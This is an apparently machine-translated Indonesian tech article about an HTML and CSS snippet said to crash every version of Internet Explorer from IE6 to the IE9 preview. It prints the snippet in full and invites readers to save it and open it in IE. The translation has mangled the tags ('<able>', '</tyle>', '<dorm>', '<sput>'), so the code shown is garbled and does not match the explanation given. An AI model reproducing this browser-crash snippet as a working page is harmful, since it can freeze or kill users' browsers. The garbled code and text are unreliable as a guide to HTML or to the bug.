Artikel Pengenalan Wulin.com (www.vevb.com): kode html yang dapat membunuh versi IE apa pun.
Banyak orang sangat membenci penjelajah internet, dan ketika Halloween Barat semakin dekat, mari kita lihat sesuatu yang sangat menakutkan - cara membunuh versi IE apa pun dengan sepotong HTML dan CSS sederhana. Kami hanya perlu hanya membuka editor teks apa pun, menyalin kode berikut, dan menyimpan file, seperti somefileName.html.
<html> <head>
<Tipe Gaya = Teks/CSS>
#A {
margin: 0 10px 10px;
}
#B {
Lebar: 100%;
}
</tyle>
<title> yaitu crasher </title>
</head>
<body>
<able> <tr> <td>
<Div id = a>
<Form ID = B>
<Jenis input = nama teks = tes/>
</div>
</td> <td width = 1> </td> </tr> </able>
</body> </html>
Kemudian buka dengan Internet Explorer - haha! Itu mati dengan menyedihkan untuk Anda lihat.
Bug ini ada di hampir semua versi IE populer sekarang, dari IE6 ke pratinjau platform ke -6 Internet Explorer 9 yang baru saja dirilis. Di IE6, halaman sering tampak kosong, tetapi seluruh jendela tidak dapat berinteraksi. Di IE8, kecelakaan itu terjadi secara menyeluruh. IE9 Beta meningkatkan ketahanannya. Setelah tes saya yang sebenarnya, halaman ini akan menyebabkan seluruh proses tidak responsif. Terkadang IE9 akan mendorong Anda dengan masalah dengan halaman web, tetapi ini tidak dapat menghindari kenyataan kecelakaan.
Bahkan, masalah ini telah ditemukan sangat awal, dan ada juga situs web khusus (tolong sebarkan tautan ini dengan hati -hati). Tidak akan ada masalah dengan membuka halaman itu oleh browser selain IE, tetapi IE telah macet.
Tentu saja, jika Anda berhati -hati, Anda akan menemukan bahwa tag <dorm> dalam kode HTML di atas tidak ditutup. Kita perlu menggunakan tag tutup </form> setelah tag <sput> untuk membuat kode ini sesuai dengan spesifikasi. Kode standar tidak akan macet, yang tampaknya bukan kesalahan IE.
Namun, ketika browser lain dapat memiliki toleransi kesalahan yang tinggi, IE tidak memilikinya, dan bahkan ketika IE9 masih tidak memilikinya. Ini adalah tragedi IE.